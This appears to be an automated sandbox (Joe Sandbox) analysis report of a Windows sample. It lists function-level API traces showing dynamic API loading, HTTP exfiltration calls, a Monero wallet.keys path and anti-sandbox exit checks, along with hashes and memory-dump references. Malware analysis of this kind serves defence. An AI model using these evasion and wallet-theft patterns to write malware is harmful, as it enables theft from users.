Function 00C81160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00C8116A
ExitProcess.KERNEL32 ref: 00C8117E

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 2a9904b9a595079b4cbefd41d43953ded28158f2921352b5eef65ca9d2d65486
Instruction ID: c853727136f6cf27dbd05d303fd6ece9ef3dc5c9878e000d78341c11d12d86cf
Opcode Fuzzy Hash: 2a9904b9a595079b4cbefd41d43953ded28158f2921352b5eef65ca9d2d65486
Instruction Fuzzy Hash: 67D09E7490431C9BCB04EFE0A9896DDBB78BB08616F140555DE0562340EA315496CBA5

Function 00C99F20 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,015163C0), ref: 00C99F3D
GetProcAddress.KERNEL32(75900000,01516460), ref: 00C99F55
GetProcAddress.KERNEL32(75900000,01528FA0), ref: 00C99F6E
GetProcAddress.KERNEL32(75900000,01528EF8), ref: 00C99F86
GetProcAddress.KERNEL32(75900000,0152C9A0), ref: 00C99F9E
GetProcAddress.KERNEL32(75900000,0152C8E0), ref: 00C99FB7
GetProcAddress.KERNEL32(75900000,0151B630), ref: 00C99FCF
GetProcAddress.KERNEL32(75900000,0152CA00), ref: 00C99FE7
GetProcAddress.KERNEL32(75900000,0152CA48), ref: 00C9A000
GetProcAddress.KERNEL32(75900000,0152C940), ref: 00C9A018
GetProcAddress.KERNEL32(75900000,0152C7F0), ref: 00C9A030
GetProcAddress.KERNEL32(75900000,01516380), ref: 00C9A049
GetProcAddress.KERNEL32(75900000,015165C0), ref: 00C9A061
GetProcAddress.KERNEL32(75900000,01516660), ref: 00C9A079
GetProcAddress.KERNEL32(75900000,015165E0), ref: 00C9A092
GetProcAddress.KERNEL32(75900000,0152C850), ref: 00C9A0AA
GetProcAddress.KERNEL32(75900000,0152CAD8), ref: 00C9A0C2
GetProcAddress.KERNEL32(75900000,0151B478), ref: 00C9A0DB
GetProcAddress.KERNEL32(75900000,01516600), ref: 00C9A0F3
GetProcAddress.KERNEL32(75900000,0152CAA8), ref: 00C9A10B
GetProcAddress.KERNEL32(75900000,0152C808), ref: 00C9A124
GetProcAddress.KERNEL32(75900000,0152CA18), ref: 00C9A13C
GetProcAddress.KERNEL32(75900000,0152C838), ref: 00C9A154
GetProcAddress.KERNEL32(75900000,015162C0), ref: 00C9A16D
GetProcAddress.KERNEL32(75900000,0152CA30), ref: 00C9A185
GetProcAddress.KERNEL32(75900000,0152C820), ref: 00C9A19D
GetProcAddress.KERNEL32(75900000,0152C9E8), ref: 00C9A1B6
GetProcAddress.KERNEL32(75900000,0152CA60), ref: 00C9A1CE
GetProcAddress.KERNEL32(75900000,0152C958), ref: 00C9A1E6
GetProcAddress.KERNEL32(75900000,0152C868), ref: 00C9A1FF
GetProcAddress.KERNEL32(75900000,0152C910), ref: 00C9A217
GetProcAddress.KERNEL32(75900000,0152C880), ref: 00C9A22F
GetProcAddress.KERNEL32(75900000,0152C928), ref: 00C9A248
GetProcAddress.KERNEL32(75900000,01529F78), ref: 00C9A260
GetProcAddress.KERNEL32(75900000,0152CA78), ref: 00C9A278
GetProcAddress.KERNEL32(75900000,0152CA90), ref: 00C9A291
GetProcAddress.KERNEL32(75900000,015162E0), ref: 00C9A2A9
GetProcAddress.KERNEL32(75900000,0152C898), ref: 00C9A2C1
GetProcAddress.KERNEL32(75900000,01516620), ref: 00C9A2DA
GetProcAddress.KERNEL32(75900000,0152C8F8), ref: 00C9A2F2
GetProcAddress.KERNEL32(75900000,0152CAC0), ref: 00C9A30A
GetProcAddress.KERNEL32(75900000,01516320), ref: 00C9A323
GetProcAddress.KERNEL32(75900000,01516340), ref: 00C9A33B
LoadLibraryA.KERNEL32(0152C8B0,?,00C95EF3,00CA0AEB,?,?,?,?,?,?,?,?,?,?,00CA0AEA,00CA0AE7), ref: 00C9A34D
LoadLibraryA.KERNEL32(0152C8C8,?,00C95EF3,00CA0AEB,?,?,?,?,?,?,?,?,?,?,00CA0AEA,00CA0AE7), ref: 00C9A35E
LoadLibraryA.KERNEL32(0152C9D0,?,00C95EF3,00CA0AEB,?,?,?,?,?,?,?,?,?,?,00CA0AEA,00CA0AE7), ref: 00C9A370
LoadLibraryA.KERNEL32(0152C970,?,00C95EF3,00CA0AEB,?,?,?,?,?,?,?,?,?,?,00CA0AEA,00CA0AE7), ref: 00C9A382
LoadLibraryA.KERNEL32(0152C988,?,00C95EF3,00CA0AEB,?,?,?,?,?,?,?,?,?,?,00CA0AEA,00CA0AE7), ref: 00C9A393
LoadLibraryA.KERNEL32(0152C9B8,?,00C95EF3,00CA0AEB,?,?,?,?,?,?,?,?,?,?,00CA0AEA,00CA0AE7), ref: 00C9A3A5
LoadLibraryA.KERNEL32(0152CCA0,?,00C95EF3,00CA0AEB,?,?,?,?,?,?,?,?,?,?,00CA0AEA,00CA0AE7), ref: 00C9A3B7
LoadLibraryA.KERNEL32(0152CBB0,?,00C95EF3,00CA0AEB,?,?,?,?,?,?,?,?,?,?,00CA0AEA,00CA0AE7), ref: 00C9A3C8
GetProcAddress.KERNEL32(75FD0000,01516820), ref: 00C9A3EA
GetProcAddress.KERNEL32(75FD0000,0152CC40), ref: 00C9A402
GetProcAddress.KERNEL32(75FD0000,01528B70), ref: 00C9A41A
GetProcAddress.KERNEL32(75FD0000,0152CCE8), ref: 00C9A433
GetProcAddress.KERNEL32(75FD0000,015166A0), ref: 00C9A44B
GetProcAddress.KERNEL32(73530000,0151B298), ref: 00C9A470
GetProcAddress.KERNEL32(73530000,01516700), ref: 00C9A489
GetProcAddress.KERNEL32(73530000,0151B068), ref: 00C9A4A1
GetProcAddress.KERNEL32(73530000,0152CDD8), ref: 00C9A4B9
GetProcAddress.KERNEL32(73530000,0152CBE0), ref: 00C9A4D2
GetProcAddress.KERNEL32(73530000,01516840), ref: 00C9A4EA
GetProcAddress.KERNEL32(73530000,01516720), ref: 00C9A502
GetProcAddress.KERNEL32(73530000,0152CBC8), ref: 00C9A51B
GetProcAddress.KERNEL32(763B0000,015167E0), ref: 00C9A53C
GetProcAddress.KERNEL32(763B0000,01516860), ref: 00C9A554
GetProcAddress.KERNEL32(763B0000,0152CD90), ref: 00C9A56D
GetProcAddress.KERNEL32(763B0000,0152CB68), ref: 00C9A585
GetProcAddress.KERNEL32(763B0000,015169C0), ref: 00C9A59D
GetProcAddress.KERNEL32(750F0000,0151B1A8), ref: 00C9A5C3
GetProcAddress.KERNEL32(750F0000,0151AF28), ref: 00C9A5DB
GetProcAddress.KERNEL32(750F0000,0152CAF0), ref: 00C9A5F3
GetProcAddress.KERNEL32(750F0000,01516740), ref: 00C9A60C
GetProcAddress.KERNEL32(750F0000,015168C0), ref: 00C9A624
GetProcAddress.KERNEL32(750F0000,0151B090), ref: 00C9A63C
GetProcAddress.KERNEL32(75A50000,0152CB20), ref: 00C9A662
GetProcAddress.KERNEL32(75A50000,015168E0), ref: 00C9A67A
GetProcAddress.KERNEL32(75A50000,01528B10), ref: 00C9A692
GetProcAddress.KERNEL32(75A50000,0152CB38), ref: 00C9A6AB
GetProcAddress.KERNEL32(75A50000,0152CB50), ref: 00C9A6C3
GetProcAddress.KERNEL32(75A50000,01516680), ref: 00C9A6DB
GetProcAddress.KERNEL32(75A50000,01516900), ref: 00C9A6F4
GetProcAddress.KERNEL32(75A50000,0152CBF8), ref: 00C9A70C
GetProcAddress.KERNEL32(75A50000,0152CC58), ref: 00C9A724
GetProcAddress.KERNEL32(75070000,01516880), ref: 00C9A746
GetProcAddress.KERNEL32(75070000,0152CCB8), ref: 00C9A75E
GetProcAddress.KERNEL32(75070000,0152CC10), ref: 00C9A776
GetProcAddress.KERNEL32(75070000,0152CC28), ref: 00C9A78F
GetProcAddress.KERNEL32(75070000,0152CB80), ref: 00C9A7A7
GetProcAddress.KERNEL32(74E50000,015169A0), ref: 00C9A7C8
GetProcAddress.KERNEL32(74E50000,01516980), ref: 00C9A7E1
GetProcAddress.KERNEL32(75320000,01516920), ref: 00C9A802
GetProcAddress.KERNEL32(75320000,0152CCD0), ref: 00C9A81A
GetProcAddress.KERNEL32(6F060000,01516760), ref: 00C9A840
GetProcAddress.KERNEL32(6F060000,015169E0), ref: 00C9A858
GetProcAddress.KERNEL32(6F060000,015168A0), ref: 00C9A870
GetProcAddress.KERNEL32(6F060000,0152CB98), ref: 00C9A889
GetProcAddress.KERNEL32(6F060000,01516800), ref: 00C9A8A1
GetProcAddress.KERNEL32(6F060000,015166E0), ref: 00C9A8B9
GetProcAddress.KERNEL32(6F060000,01516940), ref: 00C9A8D2
GetProcAddress.KERNEL32(6F060000,015166C0), ref: 00C9A8EA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 00C9A901
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 00C9A917
GetProcAddress.KERNEL32(74E00000,0152CD00), ref: 00C9A939
GetProcAddress.KERNEL32(74E00000,015289F0), ref: 00C9A951
GetProcAddress.KERNEL32(74E00000,0152CC70), ref: 00C9A969
GetProcAddress.KERNEL32(74E00000,0152CD18), ref: 00C9A982
GetProcAddress.KERNEL32(74DF0000,01516960), ref: 00C9A9A3
GetProcAddress.KERNEL32(6E390000,0152CC88), ref: 00C9A9C4
GetProcAddress.KERNEL32(6E390000,01516A00), ref: 00C9A9DD
GetProcAddress.KERNEL32(6E390000,0152CD30), ref: 00C9A9F5
GetProcAddress.KERNEL32(6E390000,0152CD48), ref: 00C9AA0D

Strings

InternetSetOptionA, xrefs: 00C9A8F5
HttpQueryInfoA, xrefs: 00C9A90C

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 7ebd7df9dc11d9b653f651dee3ee16d24edecb7945fb473b2e2746b0b1cad3d8
Instruction ID: 02d91c3a7b11b3cfff8ae1542dec181b7805ec421b37759be41b1878938e0075
Opcode Fuzzy Hash: 7ebd7df9dc11d9b653f651dee3ee16d24edecb7945fb473b2e2746b0b1cad3d8
Instruction Fuzzy Hash: C7623FB5619B08AFC344EFA8FC889567BB9B78D303750861ABB19C3270D7359941EF60

Function 00C848D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C9AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00C9AAF6

Part of subcall function 00C84800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00C84889
Part of subcall function 00C84800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00C84899

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00C84965
StrCmpCA.SHLWAPI(?,0152E3C0), ref: 00C8498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00C84B0A
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00CA0DDE,00000000,?,?,00000000,?,",00000000,?,0152E340), ref: 00C84E38
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00C84E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00C84E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00C84E99
InternetCloseHandle.WININET(00000000), ref: 00C84EFD
InternetCloseHandle.WININET(00000000), ref: 00C84F15
HttpOpenRequestA.WININET(00000000,0152E290,?,0152DA28,00000000,00000000,00400100,00000000), ref: 00C84B65

Part of subcall function 00C9ACC0: lstrlen.KERNEL32(?,015289E0,?,\Monero\wallet.keys,00CA0E1A), ref: 00C9ACD5
Part of subcall function 00C9ACC0: lstrcpy.KERNEL32(00000000), ref: 00C9AD14
Part of subcall function 00C9ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00C9AD22

Part of subcall function 00C9ABB0: lstrcpy.KERNEL32(?,00CA0E1A), ref: 00C9AC15

Part of subcall function 00C9AC30: lstrcpy.KERNEL32(00000000,?), ref: 00C9AC82
Part of subcall function 00C9AC30: lstrcat.KERNEL32(00000000), ref: 00C9AC92

InternetCloseHandle.WININET(00000000), ref: 00C84F1F

Strings

------, xrefs: 00C84A0D
", xrefs: 00C84C42
------, xrefs: 00C84CB9
------, xrefs: 00C84B78
", xrefs: 00C84D83

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: bcaeae9bd1da744afc76de3c09db1260b8fe688251553a20f8d5602db02fb7d9
Instruction ID: c70e296f056f2bb72c728fe66da06530d41feb59a6753164e97a9d8ab5ba5e08
Opcode Fuzzy Hash: bcaeae9bd1da744afc76de3c09db1260b8fe688251553a20f8d5602db02fb7d9
Instruction Fuzzy Hash: 50120A72910218ABCF14EB90DDAAFEEB379AF15300F504599F10666091EF706F48DFA6

Function 00C95760 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C9AB30: lstrlen.KERNEL32(00C84F55,?,?,00C84F55,00CA0DDF), ref: 00C9AB3B
Part of subcall function 00C9AB30: lstrcpy.KERNEL32(00CA0DDF,00000000), ref: 00C9AB95

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00C95894
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00C958F1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00C95AA7

Part of subcall function 00C9AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00C9AAF6

Part of subcall function 00C95440: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00C95478

Part of subcall function 00C9ABB0: lstrcpy.KERNEL32(?,00CA0E1A), ref: 00C9AC15

Part of subcall function 00C95510: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00C95568
Part of subcall function 00C95510: lstrlen.KERNEL32(00000000), ref: 00C9557F
Part of subcall function 00C95510: StrStrA.SHLWAPI(00000000,00000000), ref: 00C955B4
Part of subcall function 00C95510: lstrlen.KERNEL32(00000000), ref: 00C955D3
Part of subcall function 00C95510: lstrlen.KERNEL32(00000000), ref: 00C955FE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00C959DB
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00C95B90
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00C95C5C
Sleep.KERNEL32(0000EA60), ref: 00C95C6B

Strings

ERROR, xrefs: 00C958E3
ERROR, xrefs: 00C95886
ERROR, xrefs: 00C959CD
ERROR, xrefs: 00C95C4E
ERROR, xrefs: 00C95A99
ERROR, xrefs: 00C95B82

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 25e7f350451bddf64d933ccc74e2aff588d4560fb57b46eba3ddf6fa4faff0ac
Instruction ID: ee11c8fb4701775185b2176ca8430bd273d25186a2cd72d71378a670e87cf0da
Opcode Fuzzy Hash: 25e7f350451bddf64d933ccc74e2aff588d4560fb57b46eba3ddf6fa4faff0ac
Instruction Fuzzy Hash: F3E112729102089BCF14FBA0ED6AEED737DAF54300F508568B51667491EF346B08EBD6

Function 00C919F0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00C91A15
ExitProcess.KERNEL32 ref: 00C91A21

Strings

block, xrefs: 00C91A07

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: d09dcf02b4ee3080755d9451ec6b2e0b19b1bec4e242f6a7161684072ce7ddc6
Instruction ID: ea401dcf6f88f344c6493aa581840887aa1ab1022e6ed6b49da2bf887db2baa7
Opcode Fuzzy Hash: d09dcf02b4ee3080755d9451ec6b2e0b19b1bec4e242f6a7161684072ce7ddc6
Instruction Fuzzy Hash: 825152B5B0420AEFCF04DFA4DA59BAE77BAEF44744F144058F912AB250E770EA40DB91

Function 00C96C90 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C99BB0: GetProcAddress.KERNEL32(75900000,01520600), ref: 00C99BF1
Part of subcall function 00C99BB0: GetProcAddress.KERNEL32(75900000,015207C8), ref: 00C99C0A
Part of subcall function 00C99BB0: GetProcAddress.KERNEL32(75900000,015206F0), ref: 00C99C22
Part of subcall function 00C99BB0: GetProcAddress.KERNEL32(75900000,01520618), ref: 00C99C3A
Part of subcall function 00C99BB0: GetProcAddress.KERNEL32(75900000,015207F8), ref: 00C99C53
Part of subcall function 00C99BB0: GetProcAddress.KERNEL32(75900000,01528BB0), ref: 00C99C6B
Part of subcall function 00C99BB0: GetProcAddress.KERNEL32(75900000,01516400), ref: 00C99C83
Part of subcall function 00C99BB0: GetProcAddress.KERNEL32(75900000,01516440), ref: 00C99C9C
Part of subcall function 00C99BB0: GetProcAddress.KERNEL32(75900000,01520810), ref: 00C99CB4
Part of subcall function 00C99BB0: GetProcAddress.KERNEL32(75900000,01520678), ref: 00C99CCC
Part of subcall function 00C99BB0: GetProcAddress.KERNEL32(75900000,015206A8), ref: 00C99CE5
Part of subcall function 00C99BB0: GetProcAddress.KERNEL32(75900000,01520828), ref: 00C99CFD
Part of subcall function 00C99BB0: GetProcAddress.KERNEL32(75900000,015162A0), ref: 00C99D15
Part of subcall function 00C99BB0: GetProcAddress.KERNEL32(75900000,01520840), ref: 00C99D2E

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

Part of subcall function 00C811D0: ExitProcess.KERNEL32 ref: 00C81211

Part of subcall function 00C81160: GetSystemInfo.KERNEL32(?), ref: 00C8116A
Part of subcall function 00C81160: ExitProcess.KERNEL32 ref: 00C8117E

Part of subcall function 00C81110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00C8112B
Part of subcall function 00C81110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00C81132
Part of subcall function 00C81110: ExitProcess.KERNEL32 ref: 00C81143

Part of subcall function 00C81220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00C8123E
Part of subcall function 00C81220: __aulldiv.LIBCMT ref: 00C81258
Part of subcall function 00C81220: __aulldiv.LIBCMT ref: 00C81266
Part of subcall function 00C81220: ExitProcess.KERNEL32 ref: 00C81294

Part of subcall function 00C96A10: GetUserDefaultLangID.KERNEL32 ref: 00C96A14

Part of subcall function 00C81190: ExitProcess.KERNEL32 ref: 00C811C6

Part of subcall function 00C979E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00C811B7), ref: 00C97A10
Part of subcall function 00C979E0: RtlAllocateHeap.NTDLL(00000000), ref: 00C97A17
Part of subcall function 00C979E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00C97A2F

Part of subcall function 00C97A70: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00C97AA0
Part of subcall function 00C97A70: RtlAllocateHeap.NTDLL(00000000), ref: 00C97AA7
Part of subcall function 00C97A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00C97ABF

Part of subcall function 00C9ACC0: lstrlen.KERNEL32(?,015289E0,?,\Monero\wallet.keys,00CA0E1A), ref: 00C9ACD5
Part of subcall function 00C9ACC0: lstrcpy.KERNEL32(00000000), ref: 00C9AD14
Part of subcall function 00C9ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00C9AD22

Part of subcall function 00C9ABB0: lstrcpy.KERNEL32(?,00CA0E1A), ref: 00C9AC15

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01528A30,?,00CA10F4,?,00000000,?,00CA10F8,?,00000000,00CA0AF3), ref: 00C96D6A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00C96D88
CloseHandle.KERNEL32(00000000), ref: 00C96D99
Sleep.KERNEL32(00001770), ref: 00C96DA4
CloseHandle.KERNEL32(?,00000000,?,01528A30,?,00CA10F4,?,00000000,?,00CA10F8,?,00000000,00CA0AF3), ref: 00C96DBA
ExitProcess.KERNEL32 ref: 00C96DC2

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
